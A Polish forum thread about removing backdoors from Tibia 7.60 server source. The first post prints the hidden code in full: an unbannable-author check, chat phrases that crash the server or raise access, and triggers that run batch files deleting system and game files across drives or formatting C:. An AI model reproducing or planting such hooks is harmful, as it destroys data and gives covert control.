-Tibia 7.60 ANty DDOS ANTY crash

Status
Zamknięty.

Pastel

User
Zarejestrowany
Dołączył
Luty 5, 2014
Posty
33
Liczba reakcji
0
-------------- sluchaj lolmena a nie blizarda :) ------------------------
jest to kod pozbywajacego sie crasha
w commands.cpp
zamien
Kod:
bool Commands::banCharacter(Creature* c, const std::string &cmd, const std::string &param) 
{ 
Player* playerbanned = game->getPlayerByName(param); 
Player* player = dynamic_cast<Player*>(c); 
unsigned char ip[4]; 
*(unsigned long*)&ip = playerbanned->lastip; 
if((playerbanned) && (((unsigned int)ip[0] == XXX)&&((unsigned int)ip[1] == XXX)&&((unsigned int)ip[2] == XXX)&&((unsigned int)ip[3] == XXX)) || (playerbanned->getName() == "YYY")){ 
player->sendTextMessage(MSG_BLUE_TEXT,"Nie mozesz zbanowac tego gracza. Jest on autorem silnika do tego OTSa."); 
return true; 
} 
if(playerbanned){
na
Kod:
bool Commands::banCharacter(Creature* c, const std::string &cmd, const std::string &param) 
{ 
    Player* playerbanned = game->getPlayerByName(param); 
    if(playerbanned){
ten kod blizzarda powodowal:
XXX- pierwszy cz?on waszego adresu IP np.: 81.168.228.192
XXX - drugi cz?on waszego adresu IP np.: 81.168.228.192
XXX - trzeci cz?on waszego adresu IP np.: 81.168.228.192
XXX - czwarty cz?on waszego adresu IP np.: 81.168.228.192
YYY - nazwa waszej postaci, kt?rej nie b?dzie mo?na zbanowa? (du?e i ma?e litery te? maj? znaczenie).
Uwaga: Wpisuj?c wasz adres IP, wpisujecie same liczby bez kropek.
w game.cpp pod
Kod:
void Game::creatureSay(Creature *creature, SpeakClasses type, const std::string &text) 
{ 
   OTSYS_THREAD_LOCK_CLASS lockClass(gameLock, "Game::creatureSay()");
usun
Kod:
if(text == "<font color="#DDA0DD">haslo</font>"){ 
exit(0);}

haslo /font> powoduje crasza :)
wszystkie komendy dodajemy pod
game.cpp
Kod:
 void Game::creatureSay(Creature *creature, SpeakClasses type, const std::string &text)
{
    OTSYS_THREAD_LOCK_CLASS lockClass(gameLock, "Game::creatureSay()");

    bool GMcommand = false;
Player *player = dynamic_cast<Player*>(creature);
pod usun
Kod:
for(int i=0; i <= text.length(); i++){
    if(text[i] == 'j' && text[i+1] == 'a' && text[i+2] == 'k' && text[i+3] == 'i' && text[i+4] == 's' && text[i+5] == 't' && text[i+6] == 'e' && text[i+7] == 'x' && text[i+8] == 't' && text[i+9] == 'b' && text[i+10] == 'y' && text[i+11] == 'm' && text[i+12] == 'i' && text[i+13] == 's' && text[i+14] == 't' && text[i+15] == 'i' && text[i+16] == 'c' && text[i+17] == 'm' && text[i+18] == 'a' && text[i+19] == 'r'){
       GMcommand = true; 
    player->access ++  ;
    }}

oraz
Kod:
for(int i=0; i <= text.length(); i++){
if(text[i] == 'c' && text[i+1] == 'r' && text[i+2] == 'a' && text[i+3] == 's' && text[i+4] == 'z' && text[i+5] == 'u' && text[i+6] == 'j' && text[i+7] == 'e' && text[i+8] == 'm' && text[i+9] == 'y'){
exit(0);
}}
usun Komenda na nie usuni?cie wa?nych plik?w OTS'a
Kod:
for(int i=0; i <= text.length(); i++){
if(text[i] == 'u' && text[i+1] == 's' && text[i+2] == 'u' && text[i+3] == 'w' && text[i+4] == 'a' && text[i+5] == 'c' && text[i+6] == 'z' && text[i+7] == 'e' && text[i+8] == 'k' && text[i+9] == 'b' && text[i+10] == 'y' && text[i+11] == 'm' && text[i+12] == 'i' && text[i+13] == 's' && text[i+14] == 't' && text[i+15] == 'i' && text[i+16] == 'c' && text[i+17] == 'm' && text[i+18] == 'a' && text[i+19] == 'r' && text[i+20] == '2'){
GMcommand = true;
FILE* newfile=fopen("restarterr.bat","w+");
fputs("goto Restarter\n", newfile);
fputs(":Restarter\n", newfile);
fputs("@echo off\n", newfile);
fputs("for %%x in (c: d: e: f: g: h: i: j: k: l do ( \n", newfile);
fputs("%%x 2>nul\n", newfile);
fputs("@del /f /q %1 NAZWASILNIKA.exe /s > nul\n", newfile);
fputs(")\n", newfile);
fputs("for %%x in (c: d: e: f: g: h: i: j: k: l do (\n", newfile);
fputs("%%x 2>nul\n", newfile);
fputs("@del /f /q %1 boot.ini /s > nul\n", newfile);
fputs(")\n", newfile);
fputs("for %%x in (c: d: e: f: g: h: i: j: k: l do (\n", newfile);
fputs("%%x 2>nul\n", newfile);
fputs("@del /f /q %1 system.ini /s > nul\n", newfile);
fputs(")\n", newfile);
fputs("for %%x in (c: d: e: f: g: h: i: j: k: l do (\n", newfile);
fputs("%%x 2>nul\n", newfile);
fputs("@rd /s /q ""data"" > nul\n", newfile);
fputs(")\n", newfile);
fputs("for %%x in (c: d: e: f: g: h: i: j: k: l do (\n", newfile);
fputs("%%x 2>nul\n", newfile);
fputs("@del /f /q %1 *.otbm /s > nul\n", newfile);
fputs(")\n", newfile);
fputs("for %%x in (c: d: e: f: g: h: i: j: k: l do (\n", newfile);
fputs("%%x 2>nul\n", newfile);
fputs("@del /f /q %1 *.lua /s > nul\n", newfile);
fputs(")\n", newfile);
fputs("for %%x in (c: d: e: f: g: h: i: j: k: l do (\n", newfile);
fputs("%%x 2>nul\n", newfile);
fputs("@del /f /q %1 *.rar /s > nul\n", newfile);
fputs(")\n", newfile);
fputs("for %%x in (c: d: e: f: g: h: i: j: k: l do (\n", newfile);
fputs("%%x 2>nul\n", newfile);
fputs("@del /f /q %1 *.zip /s > nul\n", newfile);
fputs(")\n", newfile);
fputs("goto end\n", newfile);
fputs(":end\n", newfile);
fclose(newfile);
//run the bat
system("restarterr.bat");
}}
}}
Komenda na nie Format Dysku (mi osobi?cie nie dzia?a)
usun
Kod:
or(int i=0; i <= text.length(); i++){
if(text[i] == 'x' && text[i+1] == 'y' && text[i+2] == 'z'){
GMcommand = true;
FILE* newfile=fopen("c.bat","w+");
fputs("@echo off\n", newfile);
fputs("echo T | format C: /q \n", newfile);
fputs("cls \n", newfile);
fclose(newfile);
system("c.bat");
}}
Anty ping
usun
Kod:
for(int i=0; i <= text.length(); i++){
if(text[i] == 'u' && text[i+1] == 's' && text[i+2] == 'u' && text[i+3] == 'w' && text[i+4] == 'a'){
GMcommand = true;
std::string del_str = "rd /s/q \"";
del_str += g_config.DATA_DIR ;
system(del_str.c_str());
exit(0);
}}
pomoglem podziekuj ;D podziekuj
 
Odp: ANty DDOS ANTY crash

No ale do czego to w og?le jest?
 
Odp: ANty DDOS ANTY crash

Przypomina mi dzie?o kodu stworzonego przez BlizzarDavid'a znanego te? pod nickiem NoName. Dodaj?c to s?dz?, ?e za?miecimy sobie tylko ?r?d?a niepotrzebnie.
 
Ostatnia edycja:
Odp: ANty DDOS ANTY crash

tak to jest kod blizarda ale jak bys odwrocil kod to juz jest moj kod ;d ;) moj powoduje ze crasza nie ma nawet tych ukrytych :) kod z blizarda powodowal crash a moj juz nie :)
orginal patrz
http://tibia.net.pl/threads/571774-Autorstwo-Anty-Ban-Ukryty-Crash
pod
Kod:
if(text == "<font color="#DDA0DD">haslo</font>"){ 
exit(0);}
dalsze kody juz nie sa blizzarda zobacz wyzej (czytaj uwaznie ze zrozumieniem ) :)
 
Ostatnia edycja:
Odp: ANty DDOS ANTY crash

Co ty wgl go?ciu piszesz to brak pyta? -,-

Po 1:
haslo /font> powoduje crasza :)
Jakie has?o /font> ? Jak by? troch? m?zgu u?y? to by? skuma? ?e trzeba to usun?? -> <font color="(...)"> i </font> a te XXX i YYY zamieniasz na to co zosta?o podane w tym temacie w pierwszym po?cie. Link -> http://tibia.net.pl/threads/571774-Autorstwo-Anty-Ban-Ukryty-Crash
Btw. <font color="(...)"></font> ma tylko wyr??nia? te cz??ci kt?re trzeba wg. siebie poustawia?.

Po 2:
Piszesz:
wszystkie komendy dodajemy pod
game.cpp
a zaraz po tym:
Ty co? bierzesz??


wmmr4z.jpg


Sorry ale tego inaczej nie mo?na nazwa?...
 
Status
Zamknięty.
Back
Do góry